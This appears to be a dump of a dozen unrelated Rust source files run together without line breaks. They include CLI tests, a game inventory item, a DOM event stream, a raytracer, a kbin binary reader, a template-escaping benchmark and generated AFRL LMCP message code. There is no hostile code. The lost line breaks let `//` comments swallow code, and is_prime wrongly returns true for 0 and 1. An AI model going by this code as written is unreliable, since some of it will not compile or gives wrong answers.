LaunchType::Restart); } #[test] fn short_help_valid() { let launch_type = detect_type(gen_mock_args("-h")); assert_eq!(launch_type, LaunchType::Help); } // long #[test] fn long_man_valid() { let launch_type = detect_type(gen_mock_args("man")); assert_eq!(launch_type, LaunchType::Daemon); } #[test] fn long_stop_valid() { let launch_type = detect_type(gen_mock_args("stop")); assert_eq!(launch_type, LaunchType::Stop); } #[test] fn long_restart_valid() { let launch_type = detect_type(gen_mock_args("restart")); assert_eq!(launch_type, LaunchType::Restart); } #[test] fn long_help_valid() { let launch_type = detect_type(gen_mock_args("help")); assert_eq!(launch_type, LaunchType::Help); } }
use super::{ItemBase,Intrinsics}; /// generic item for inventory /// /// optionally you can build a custom item, see below example /// consider using an enum as well as a struct /// this example uses an enum: /* #[derive(PartialEq,Debug,Clone)] enum Item { Potions(Potion), } /// we need to impl intrinsics so inventory knows where the base data is impl Intrinsics for Item { fn get_base(&self) -> &ItemBase { match self { &Item::Potions(ref p) => &p.base, } } fn get_mut_base(&mut self) -> &mut ItemBase { match self { &mut Item::Potions(ref mut p) => &mut p.base, } } } #[derive(PartialEq,Debug,Clone)] struct Potion { base: ItemBase, } /// example build, note the type declaration: Item::Potions(Potion { base: BuildBase::new::<Potion>() .weight(2.0) .name("roibos") .value(50) .build() }); */ #[derive(Debug,PartialEq,Clone)] pub struct Item<T> { attr: T, base: ItemBase, } impl<T> Intrinsics for Item<T> { fn get_base(&self) -> &ItemBase { &self.base } fn get_mut_base(&mut self) -> &mut ItemBase { &mut self.base } } impl<T> Item<T> { pub fn new (t:T,b:ItemBase) -> Item<T> { Item { attr: t, base: b } } pub fn get(&self) -> &T { &self.attr } pub fn get_mut(&mut self) -> &mut T { &mut self.attr } }
use crate::import::*; pub struct EHandler { receiver: UnboundedReceiver<Event>, // Automatically removed from the DOM on drop! // _listener: EventListener, } impl EHandler { pub fn new( target: &EventTarget, event: &'static str, passive: bool ) -> Self { // debug!( "set event handler" ); let (sender, receiver) = unbounded(); let options = match passive { false => EventListenerOptions::enable_prevent_default(), true => EventListenerOptions::default(), }; // Attach an event listener // let _listener = EventListener::new_with_options( &target, event, options, move |event| { sender.unbounded_send(event.clone()).unwrap_throw(); }); Self { receiver, _listener, } } } impl Stream for EHandler { type Item = Event; fn poll_next(mut self: Pin<&mut Self>, cx: &mut Context) -> Poll<Option<Self::Item>> { Pin::new( &mut self.receiver ).poll_next(cx) } }
use raytracer::ray::{ray_color, Ray}; use raytracer::utils::Vec3; const WIDTH: usize = 200; const HEIGHT: usize = 100; fn main() { println!("P3\n{} {}\n255", WIDTH, HEIGHT); let lower_left_corner = Vec3::new(-2.0, -1.0, -1.0); let horizontal = Vec3::new(4.0, 0.0, 0.0); let vertical = Vec3::new(0.0, 2.0, 0.0); let origin = Vec3::new(0.0, 0.0, 0.0); for j in (0..HEIGHT).rev() { for i in 0..WIDTH { let u = i as f32 / WIDTH as f32; let v = j as f32 / HEIGHT as f32; let ray = Ray::new( origin, lower_left_corner + (horizontal * u) + (vertical * v), ); let color = ray_color(&ray); color.write_color(); } } }
pub fn is_prime(n: u64) -> bool { if n <= 3 { return true; } if n % 2 == 0 || n % 3 == 0 { return false; } let mut i = 5; while i * i <= n { if n % i == 0 || n % (i + 2) == 0 { return false; } i += 6; } true }
extern crate shared; use shared::triangles::Triangles; fn factors(x: usize) -> Vec<usize> { let mut factors: Vec<_> = vec![]; for i in 1..(x as f64).sqrt() as usize { if x % i == 0 { factors.push(i); factors.push(x/i); } } factors } fn main() { let result = Triangles::new().find(|&x| { factors(x).len() > 500 }); println!("{}", result.unwrap()); }
#[macro_export] macro_rules! page_view { ($($t:ty)*) => ($( impl Renderable<$t> for $t { fn view(&self) -> Html<Self> { ::seo::set_title(&self.get_title()); ::seo::set_description(&self.get_description()); ::seo::set_url(&self.get_route().to_absolute()); let state_class = match self.get_state() { PageState::Loading => "page_loading", PageState::Loaded => "page_loaded", PageState::Error => "page_error", }; let class = format!("page {} {}", state_class, self.get_class()); let breadcrumbs = self.get_breadcrumbs(); let breadcrumbs_view = if breadcrumbs.is_empty() { html! { <></> } } else { ::views::breadcrumbs::view(breadcrumbs, &self.get_title()) }; html! { <div class=class, > <header class="page_header", > <div class="app_container", > { breadcrumbs_view } <h1 class="page_title", > { self.get_title() } </h1> </div> </header> <main class="page_content", > <div class="app_container", > { self.get_content() } </div> </main> </div> } } } )*) }
use std::old_io as io; fn main() { let dna = io::stdin().read_line().ok().expect(""); for l in dna.graphemes(true).rev().map(replace) { print!("{}",l); } } fn replace(s: &str) -> &str { match s { "A" => "T", "T" => "A", "C" => "G", "G" => "C", _ => s, } }
//! The Node struct is a conveniance wrapper around the Transport and SessionManager //! implementations. Currently it just handles ingesting and transmitting data, although //! it might make sense in the future to split these up into seperate concepts. Currently //! the only coupling between TX and RX is the node ID, which can be cheaply replicated. //! It might be prudent to split out Messages and Services, into seperate concepts (e.g. //! Publisher, Requester, Responder, and Subscriber, a la canadensis, but I'll need to //! play around with those concepts before I commit to anything) use core::marker::PhantomData; use core::clone::Clone; use crate::session::SessionManager; use crate::transfer::Transfer; use crate::transport::Transport; use crate::types::*; use crate::{RxError, TxError}; /// Node implementation. Generic across session managers and transport types. #[derive(Debug)] pub struct Node<S: SessionManager<C>, T: Transport<C>, C: embedded_time::Clock> { id: Option<NodeId>, /// Session manager. Made public so it could be managed by implementation. /// /// Instead of being public, could be placed behind a `with_session_manager` fn /// which took a closure. I can't decide which API is better. pub sessions: S, /// Transport type transport: PhantomData<T>, _clock: PhantomData<C>, } impl<S, T, C> Node<S, T, C> where T: Transport<C>, S: SessionManager<C>, C: embedded_time::Clock + Clone, { pub fn new(id: Option<NodeId>, session_manager: S) -> Self { Self { id, sessions: session_manager, transport: PhantomData, _clock: PhantomData, } } // Convenience function to access session manager inside of a closure. // I was going to use this because I was thinking I needed a closure // to access the session manager safely, but that isn't really the case. // // It still has potential to be useful (i.e. if you're using this with // an unsafe storage mechanism, the below form will prevent you from // taking references of the session manager), but idk if it actually is. //fn with_session_manager<R>(&mut self, f: fn(&mut T) -> R) -> R { // f(&mut self.sessions) //} /// Attempts to receive frame. Returns error when frame is invalid, Some(Transfer) at the end of /// a transfer, and None if we haven't finished the transfer. pub fn try_receive_frame( &mut self, frame: T::Frame, ) -> Result<Option<Transfer<C>>, RxError> { let frame = T::rx_process_frame(&self.id, &frame)?; if let Some(frame) = frame { match self.sessions.ingest(frame) { Ok(frame) => Ok(frame), Err(err) => Err(RxError::SessionError(err)), } } else { Ok(None) } } // Create a series of frames to transmit. // I think there could be 3 versions of this: // 1. Returns a collection of frames to transmit. // 2. Pushes frame onto queue, similar to libcanard. // 3. Returns an iterator into a series of frames. // // 1 and 3 provide the user with more options but also make it harder // to implement for the user. pub fn transmit<'a>(&self, transfer: &'a Transfer<C>) -> Result<T::FrameIter<'a>, TxError> { T::transmit(transfer) } }
use std::io::{self, Cursor, Seek, SeekFrom}; use byteorder::{BigEndian, ReadBytesExt}; use bytes::Bytes; use snafu::{ResultExt, Snafu}; use crate::byte_buffer::{ByteBufferError, ByteBufferRead}; use crate::compression_type::{CompressionType, UnknownCompression}; use crate::encoding_type::{EncodingError, EncodingType}; use crate::node::{Key, NodeData, NodeDefinition}; use crate::node_types::{StandardType, UnknownKbinType}; use crate::sixbit::{Sixbit, SixbitError}; use crate::{ARRAY_MASK, SIGNATURE}; #[derive(Debug, Snafu)] pub enum ReaderError { #[snafu(display("Failed to read signature from header"))] Signature { source: io::Error }, #[snafu(display("Invalid signature read from header (signature: 0x{:x})", signature))] InvalidSignature { signature: u8 }, #[snafu(display("Failed to read compression type from header"))] Compression { source: io::Error }, #[snafu(display("Invalid compression type read from header"))] InvalidCompression { source: UnknownCompression }, #[snafu(display("Failed to read encoding type from header"))] Encoding { source: io::Error }, #[snafu(display("Failed to read encoding type inverted value from header"))] EncodingNegate { source: io::Error }, #[snafu(display("Invalid encoding type read from header"))] InvalidEncoding { source: EncodingError }, #[snafu(display("Mismatched encoding type and encoding type inverted values from header"))] MismatchedEncoding, #[snafu(display("Failed to read node buffer length"))] NodeBufferLength { source: io::Error }, #[snafu(display("Failed to read data buffer length"))] DataBufferLength { source: io::Error }, #[snafu(display( "Failed to seek forward {} bytes in input buffer for data buffer length", len_node ))] DataLengthSeek { len_node: u32, source: io::Error }, #[snafu(display("Attempted to read past the end of the node buffer"))] EndOfNodeBuffer, #[snafu(display("Failed to read node type"))] NodeType { source: io::Error }, #[snafu(display("Invalid node type read"))] InvalidNodeType { source: UnknownKbinType }, #[snafu(display("Failed to read sixbit node name"))] NodeSixbitName { source: SixbitError }, #[snafu(display("Failed to read array node length"))] ArrayLength { source: io::Error }, #[snafu(display("Failed to read node name length"))] NameLength { source: io::Error }, #[snafu(display("Failed to read {} bytes from data buffer", size))] DataRead { size: usize, source: io::Error }, #[snafu(display("Failed to handle data buffer operation for node type {}", node_type))] DataBuffer { node_type: StandardType, source: ByteBufferError, }, #[snafu(display("Failed to handle node buffer operation for node type {}", node_type))] NodeBuffer { node_type: StandardType, source: ByteBufferError, }, } pub struct Reader { compression: CompressionType, encoding: EncodingType, pub(crate) node_buf: ByteBufferRead, pub(crate) data_buf: ByteBufferRead, data_buf_start: u64, } impl Reader { pub fn new(input: Bytes) -> Result<Self, ReaderError> { let mut header = Cursor::new(&input); let signature = header.read_u8().context(SignatureSnafu)?; if signature != SIGNATURE { return Err(ReaderError::InvalidSignature { signature }); } let compress_byte = header.read_u8().context(CompressionSnafu)?; let compression = CompressionType::from_byte(compress_byte).context(InvalidCompressionSnafu)?; let encoding_byte = header.read_u8().context(EncodingSnafu)?; let encoding_negation = header.read_u8().context(EncodingNegateSnafu)?; let encoding = EncodingType::from_byte(encoding_byte).context(InvalidEncodingSnafu)?; if encoding_negation != !encoding_byte { return Err(ReaderError::MismatchedEncoding); } info!( "signature: 0x{:X}, compression: 0x{:X} ({:?}), encoding: 0x{:X} ({:?})", signature, compress_byte, compression, encoding_byte, encoding ); let len_node = header .read_u32::<BigEndian>() .context(NodeBufferLengthSnafu)?; info!("len_node: {0} (0x{0:x})", len_node); // The length of the data buffer is the 4 bytes right after the node buffer. header .seek(SeekFrom::Current(len_node as i64)) .context(DataLengthSeekSnafu { len_node })?; let len_data = header .read_u32::<BigEndian>() .context(DataBufferLengthSnafu)?; info!("len_data: {0} (0x{0:x})", len_data); // We have read 8 bytes so far, so offset the start of the node buffer from // the start of the input data. After that is the length of the data buffer. // The data buffer is everything after that. let node_buffer_end = 8 + len_node as usize; let data_buffer_start = node_buffer_end + 4; let node_buf = ByteBufferRead::new(input.slice(8..node_buffer_end)); let data_buf = ByteBufferRead::new(input.slice(data_buffer_start..)); Ok(Self { compression, encoding, node_buf, data_buf, data_buf_start: data_buffer_start as u64, }) } fn parse_node_type(raw_node_type: u8) -> Result<(StandardType, bool), ReaderError> { let is_array = raw_node_type & ARRAY_MASK == ARRAY_MASK; let node_type = raw_node_type & !ARRAY_MASK; let xml_type = StandardType::from_u8(node_type).context(InvalidNodeTypeSnafu)?; debug!( "Reader::parse_node_type() => raw_node_type: {}, node_type: {:?} ({}), is_array: {}", raw_node_type, xml_type, node_type, is_array ); Ok((xml_type, is_array)) } #[inline] pub fn encoding(&self) -> EncodingType { self.encoding } pub fn check_if_node_buffer_end(&self) -> Result<(), ReaderError> { if self.node_buf.position() >= self.data_buf_start { Err(ReaderError::EndOfNodeBuffer) } else { Ok(()) } } pub fn read_node_type(&mut self) -> Result<(StandardType, bool), ReaderError> { self.check_if_node_buffer_end()?; let raw_node_type = self.node_buf.read_u8().context(NodeTypeSnafu)?; let value = Self::parse_node_type(raw_node_type)?; Ok(value) } pub fn read_node_data( &mut self, node_type: StandardType, is_array: bool, ) -> Result<Bytes, ReaderError> { trace!( "Reader::read_node_data(node_type: {:?}, is_array: {})", node_type, is_array ); let value = match node_type { StandardType::Attribute | StandardType::String => self .data_buf .buf_read() .context(DataBufferSnafu { node_type })?, StandardType::Binary => self.read_bytes().context(DataBufferSnafu { node_type })?, StandardType::NodeStart | StandardType::NodeEnd | StandardType::FileEnd => Bytes::new(), node_type if is_array => { let arr_size = self .data_buf .read_u32::<BigEndian>() .context(ArrayLengthSnafu)?; let data = self .data_buf .get(arr_size) .context(DataBufferSnafu { node_type })?; self.data_buf .realign_reads(None) .context(DataBufferSnafu { node_type })?; data }, node_type => self .data_buf .get_aligned(node_type) .context(DataBufferSnafu { node_type })?, }; debug!( "Reader::read_node_data(node_type: {:?}, is_array: {}) => value: 0x{:02x?}", node_type, is_array, &value[..] ); Ok(value) } pub fn read_node_definition(&mut self) -> Result<NodeDefinition, ReaderError> { let (node_type, is_array) = self.read_node_type()?; match node_type { StandardType::NodeEnd | StandardType::FileEnd => { Ok(NodeDefinition::new(self.encoding, node_type, is_array)) }, _ => { let key = match self.compression { CompressionType::Compressed => { let size = Sixbit::size(&mut *self.node_buf).context(NodeSixbitNameSnafu)?; let data = self .node_buf .get(size.real_len as u32) .context(NodeBufferSnafu { node_type })?; Key::Compressed { size, data } }, CompressionType::Uncompressed => { let encoding = self.encoding; let length = (self.node_buf.read_u8().context(NameLengthSnafu)? & !ARRAY_MASK) + 1; let data = self .node_buf .get(length as u32) .context(NodeBufferSnafu { node_type })?; Key::Uncompressed { encoding, data } }, }; let value_data = self.read_node_data(node_type, is_array)?; Ok(NodeDefinition::with_data( self.encoding, node_type, is_array, NodeData::Some { key, value_data }, )) }, } } pub fn read_u32(&mut self) -> Result<u32, ReaderError> { let value = self .data_buf .read_u32::<BigEndian>() .context(DataReadSnafu { size: 4usize })?; debug!("Reader::read_u32() => result: {}", value); Ok(value) } #[inline] pub fn read_bytes(&mut self) -> Result<Bytes, ByteBufferError> { self.data_buf.buf_read() } } impl Iterator for Reader { type Item = NodeDefinition; fn next(&mut self) -> Option<NodeDefinition> { match self.read_node_definition() { Ok(v) => Some(v), Err(e) => { error!("Error reading node definition in `next()`: {}", e); None }, } } }
extern crate askama_escape; #[macro_use] extern crate criterion; use askama_escape::escape; use criterion::Criterion; criterion_main!(benches); criterion_group!(benches, functions); fn functions(c: &mut Criterion) { c.bench_function("toString 1 bytes", format_short); c.bench_function("No Escaping 1 bytes", no_escaping_short); c.bench_function("Escaping 1 bytes", escaping_short); c.bench_function("toString 10 bytes", format); c.bench_function("No Escaping 10 bytes", no_escaping); c.bench_function("Escaping 10 bytes", escaping); c.bench_function("toString 5 MB", format_long); c.bench_function("No Escaping 5 MB", no_escaping_long); c.bench_function("Escaping 5 MB", escaping_long); } static A: &str = "a"; static E: &str = "<"; fn escaping_short(b: &mut criterion::Bencher) { b.iter(|| escape(E).to_string()); } fn no_escaping_short(b: &mut criterion::Bencher) { b.iter(|| { escape(A).to_string(); }); } fn format_short(b: &mut criterion::Bencher) { b.iter(|| A.to_string()); } fn escaping(b: &mut criterion::Bencher) { // 10 bytes at 10% escape let string: &str = &[A, A, A, A, A, E, A, A, A, A, A].join(""); b.iter(|| escape(string).to_string()); } fn no_escaping(b: &mut criterion::Bencher) { let no_escape: &str = &A.repeat(10); b.iter(|| escape(no_escape).to_string()); } fn format(b: &mut criterion::Bencher) { let string: &str = &A.repeat(10); b.iter(|| string.to_string()); } fn escaping_long(b: &mut criterion::Bencher) { // 5 MB at 3.125% escape let string: &str = &[&A.repeat(15), E, &A.repeat(16)] .join("") .repeat(160 * 1024); b.iter(|| escape(string).to_string()); } fn no_escaping_long(b: &mut criterion::Bencher) { let no_escape: &str = &A.repeat(5 * 1024 * 1024); b.iter(|| escape(no_escape).to_string()); } fn format_long(b: &mut criterion::Bencher) { let string: &str = &A.repeat(5 * 1024 * 1024); b.iter(|| string.to_string()); }
// =============================================================================== // Authors: AFRL/RQQA // Organization: Air Force Research Laboratory, Aerospace Systems Directorate, Power and Control Division // // Copyright (c) 2017 Government of the United State of America, as represented by // the Secretary of the Air Force. No copyright is claimed in the United States under // Title 17, U.S. Code. All Other Rights Reserved. // =============================================================================== // This file was auto-created by LmcpGen. Modifications will be overwritten. use avtas::lmcp::{Error, ErrorType, Lmcp, LmcpSubscription, SrcLoc, Struct, StructInfo}; use std::fmt::Debug; #[derive(Clone, Debug, Default)] #[repr(C)] pub struct RouteConstraints { pub route_id: i64, pub start_location: Box<::afrl::cmasi::location3d::Location3DT>, pub start_heading: f32, pub use_start_heading: bool, pub end_location: Box<::afrl::cmasi::location3d::Location3DT>, pub end_heading: f32, pub use_end_heading: bool, } impl PartialEq for RouteConstraints { fn eq(&self, _other: &RouteConstraints) -> bool { true && &self.route_id == &_other.route_id && &self.start_location == &_other.start_location && &self.start_heading == &_other.start_heading && &self.use_start_heading == &_other.use_start_heading && &self.end_location == &_other.end_location && &self.end_heading == &_other.end_heading && &self.use_end_heading == &_other.use_end_heading } } impl LmcpSubscription for RouteConstraints { fn subscription() -> &'static str { "uxas.messages.route.RouteConstraints" } } impl Struct for RouteConstraints { fn struct_info() -> StructInfo { StructInfo { exist: 1, series: 5931053054693474304u64, version: 4, struct_ty: 4, } } } impl Lmcp for RouteConstraints { fn ser(&self, buf: &mut[u8]) -> Result<usize, Error> { let mut pos = 0; { let x = Self::struct_info().ser(buf)?; pos += x; } { let r = get!(buf.get_mut(pos ..)); let writeb: usize = self.route_id.ser(r)?; pos += writeb; } { let r = get!(buf.get_mut(pos ..)); let writeb: usize = self.start_location.ser(r)?; pos += writeb; } { let r = get!(buf.get_mut(pos ..)); let writeb: usize = self.start_heading.ser(r)?; pos += writeb; } { let r = get!(buf.get_mut(pos ..)); let writeb: usize = self.use_start_heading.ser(r)?; pos += writeb; } { let r = get!(buf.get_mut(pos ..)); let writeb: usize = self.end_location.ser(r)?; pos += writeb; } { let r = get!(buf.get_mut(pos ..)); let writeb: usize = self.end_heading.ser(r)?; pos += writeb; } { let r = get!(buf.get_mut(pos ..)); let writeb: usize = self.use_end_heading.ser(r)?; pos += writeb; } Ok(pos) } fn deser(buf: &[u8]) -> Result<(RouteConstraints, usize), Error> { let mut pos = 0; let (si, u) = StructInfo::deser(buf)?; pos += u; if si == RouteConstraints::struct_info() { let mut out: RouteConstraints = Default::default(); { let r = get!(buf.get(pos ..)); let (x, readb): (i64, usize) = Lmcp::deser(r)?; out.route_id = x; pos += readb; } { let r = get!(buf.get(pos ..)); let (x, readb): (Box<::afrl::cmasi::location3d::Location3DT>, usize) = Lmcp::deser(r)?; out.start_location = x; pos += readb; } { let r = get!(buf.get(pos ..)); let (x, readb): (f32, usize) = Lmcp::deser(r)?; out.start_heading = x; pos += readb; } { let r = get!(buf.get(pos ..)); let (x, readb): (bool, usize) = Lmcp::deser(r)?; out.use_start_heading = x; pos += readb; } { let r = get!(buf.get(pos ..)); let (x, readb): (Box<::afrl::cmasi::location3d::Location3DT>, usize) = Lmcp::deser(r)?; out.end_location = x; pos += readb; } { let r = get!(buf.get(pos ..)); let (x, readb): (f32, usize) = Lmcp::deser(r)?; out.end_heading = x; pos += readb; } { let r = get!(buf.get(pos ..)); let (x, readb): (bool, usize) = Lmcp::deser(r)?; out.use_end_heading = x; pos += readb; } Ok((out, pos)) } else { Err(error!(ErrorType::InvalidStructInfo)) } } fn size(&self) -> usize { let mut size = 15; size += self.route_id.size(); size += self.start_location.size(); size += self.start_heading.size(); size += self.use_start_heading.size(); size += self.end_location.size(); size += self.end_heading.size(); size += self.use_end_heading.size(); size } } pub trait RouteConstraintsT: Debug + Send { fn as_uxas_messages_route_route_constraints(&self) -> Option<&RouteConstraints> { None } fn as_mut_uxas_messages_route_route_constraints(&mut self) -> Option<&mut RouteConstraints> { None } fn route_id(&self) -> i64; fn route_id_mut(&mut self) -> &mut i64; fn start_location(&self) -> &Box<::afrl::cmasi::location3d::Location3DT>; fn start_location_mut(&mut self) -> &mut Box<::afrl::cmasi::location3d::Location3DT>; fn start_heading(&self) -> f32; fn start_heading_mut(&mut self) -> &mut f32; fn use_start_heading(&self) -> bool; fn use_start_heading_mut(&mut self) -> &mut bool; fn end_location(&self) -> &Box<::afrl::cmasi::location3d::Location3DT>; fn end_location_mut(&mut self) -> &mut Box<::afrl::cmasi::location3d::Location3DT>; fn end_heading(&self) -> f32; fn end_heading_mut(&mut self) -> &mut f32; fn use_end_heading(&self) -> bool; fn use_end_heading_mut(&mut self) -> &mut bool; } impl Clone for Box<RouteConstraintsT> { fn clone(&self) -> Box<RouteConstraintsT> { if let Some(x) = RouteConstraintsT::as_uxas_messages_route_route_constraints(self.as_ref()) { Box::new(x.clone()) } else { unreachable!() } } } impl Default for Box<RouteConstraintsT> { fn default() -> Box<RouteConstraintsT> { Box::new(RouteConstraints::default()) } } impl PartialEq for Box<RouteConstraintsT> { fn eq(&self, other: &Box<RouteConstraintsT>) -> bool { if let (Some(x), Some(y)) = (RouteConstraintsT::as_uxas_messages_route_route_constraints(self.as_ref()), RouteConstraintsT::as_uxas_messages_route_route_constraints(other.as_ref())) { x == y } else { false } } } impl Lmcp for Box<RouteConstraintsT> { fn ser(&self, buf: &mut[u8]) -> Result<usize, Error> { if let Some(x) = RouteConstraintsT::as_uxas_messages_route_route_constraints(self.as_ref()) { x.ser(buf) } else { unreachable!() } } fn deser(buf: &[u8]) -> Result<(Box<RouteConstraintsT>, usize), Error> { let (si, _) = StructInfo::deser(buf)?; if si == RouteConstraints::struct_info() { let (x, readb) = RouteConstraints::deser(buf)?; Ok((Box::new(x), readb)) } else { Err(error!(ErrorType::InvalidStructInfo)) } } fn size(&self) -> usize { if let Some(x) = RouteConstraintsT::as_uxas_messages_route_route_constraints(self.as_ref()) { x.size() } else { unreachable!() } } } impl RouteConstraintsT for RouteConstraints { fn as_uxas_messages_route_route_constraints(&self) -> Option<&RouteConstraints> { Some(self) } fn as_mut_uxas_messages_route_route_constraints(&mut self) -> Option<&mut RouteConstraints> { Some(self) } fn route_id(&self) -> i64 { self.route_id } fn route_id_mut(&mut self) -> &mut i64 { &mut self.route_id } fn start_location(&self) -> &Box<::afrl::cmasi::location3d::Location3DT> { &self.start_location } fn start_location_mut(&mut self) -> &mut Box<::afrl::cmasi::location3d::Location3DT> { &mut self.start_location } fn start_heading(&self) -> f32 { self.start_heading } fn start_heading_mut(&mut self) -> &mut f32 { &mut self.start_heading } fn use_start_heading(&self) -> bool { self.use_start_heading } fn use_start_heading_mut(&mut self) -> &mut bool { &mut self.use_start_heading } fn end_location(&self) -> &Box<::afrl::cmasi::location3d::Location3DT> { &self.end_location } fn end_location_mut(&mut self) -> &mut Box<::afrl::cmasi::location3d::Location3DT> { &mut self.end_location } fn end_heading(&self) -> f32 { self.end_heading } fn end_heading_mut(&mut self) -> &mut f32 { &mut self.end_heading } fn use_end_heading(&self) -> bool { self.use_end_heading } fn use_end_heading_mut(&mut self) -> &mut bool { &mut self.use_end_heading } } #[cfg(test)] pub mod tests { use super::*; use quickcheck::*; impl Arbitrary for RouteConstraints { fn arbitrary<G: Gen>(_g: &mut G) -> RouteConstraints { RouteConstraints { route_id: Arbitrary::arbitrary(_g), start_location: Box::new(::afrl::cmasi::location3d::Location3D::arbitrary(_g)), start_heading: Arbitrary::arbitrary(_g), use_start_heading: Arbitrary::arbitrary(_g), end_location: Box::new(::afrl::cmasi::location3d::Location3D::arbitrary(_g)), end_heading: Arbitrary::arbitrary(_g), use_end_heading: Arbitrary::arbitrary(_g), } } } quickcheck! { fn serializes(x: RouteConstraints) -> Result<TestResult, Error> { let mut buf: Vec<u8> = vec![0; x.size()]; let sx = x.ser(&mut buf)?; Ok(TestResult::from_bool(sx == x.size())) } fn roundtrips(x: RouteConstraints) -> Result<TestResult, Error> { let mut buf: Vec<u8> = vec![0; x.size()]; let sx = x.ser(&mut buf)?; let (y, sy) = RouteConstraints::deser(&buf)?; Ok(TestResult::from_bool(sx == sy && x == y)) } } }